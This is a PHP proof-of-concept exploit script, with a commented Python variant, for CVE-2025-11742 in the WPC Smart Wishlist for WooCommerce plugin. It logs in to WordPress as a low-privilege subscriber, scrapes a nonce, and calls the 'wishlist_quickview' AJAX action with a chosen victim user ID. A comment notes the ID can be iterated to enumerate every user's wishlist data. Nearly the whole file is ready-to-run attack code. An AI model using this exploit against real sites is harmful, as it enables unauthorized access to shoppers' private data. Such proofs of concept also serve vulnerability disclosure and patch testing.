<?php
/**
* CVE-2025-11742 Proof of Concept
* WPC Smart Wishlist for WooCommerce - Unauthorized Access via 'wishlist_quickview' AJAX action
*
* Description: This PoC demonstrates how an authenticated Subscriber-level user
* can exploit the missing capability check on the 'wishlist_quickview' AJAX action
* to retrieve other users' wishlist data.
*/
// Target site URL
$target_url = 'https://target-wordpress-site.com';
// Attacker credentials (Subscriber-level access)
$attacker_username = 'attacker_user';
$attacker_password = 'attacker_password';
// Step 1: Authenticate and obtain cookies via wp-login.php
$login_url = $target_url . '/wp-login.php';
$cookie_jar = tempnam(sys_get_temp_dir(), 'cookies');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $attacker_username,
'pwd' => $attacker_password,
'wp-submit' => 'Log In',
'redirect_to'=> $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract the WordPress nonce from a page (required for AJAX requests)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/shop/');
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page_content = curl_exec($ch);
curl_close($ch);
preg_match('/wp_ajax_nonce["\s:=]+([a-f0-9]+)/', $page_content, $nonce_match);
$nonce = $nonce_match[1] ?? '';
// Step 3: Exploit the 'wishlist_quickview' AJAX action without proper capability check
// Target victim user ID (can be iterated to enumerate all users)
$victim_user_id = 1;
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'wishlist_quickview',
'user_id' => $victim_user_id,
'_ajax_nonce' => $nonce
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Exploit Response:\n" . $response . "\n";
// Cleanup
unlink($cookie_jar);
?>
// Alternative: Python-based PoC using requests library
# import requests
# target = 'https://target-wordpress-site.com'
# session = requests.Session()
# session.post(f'{target}/wp-login.php', data={'log': 'attacker', 'pwd': 'password', 'wp-submit': 'Log In'})
# resp = session.post(f'{target}/wp-admin/admin-ajax.php', data={'action': 'wishlist_quickview', 'user_id': '1'})
# print(resp.text)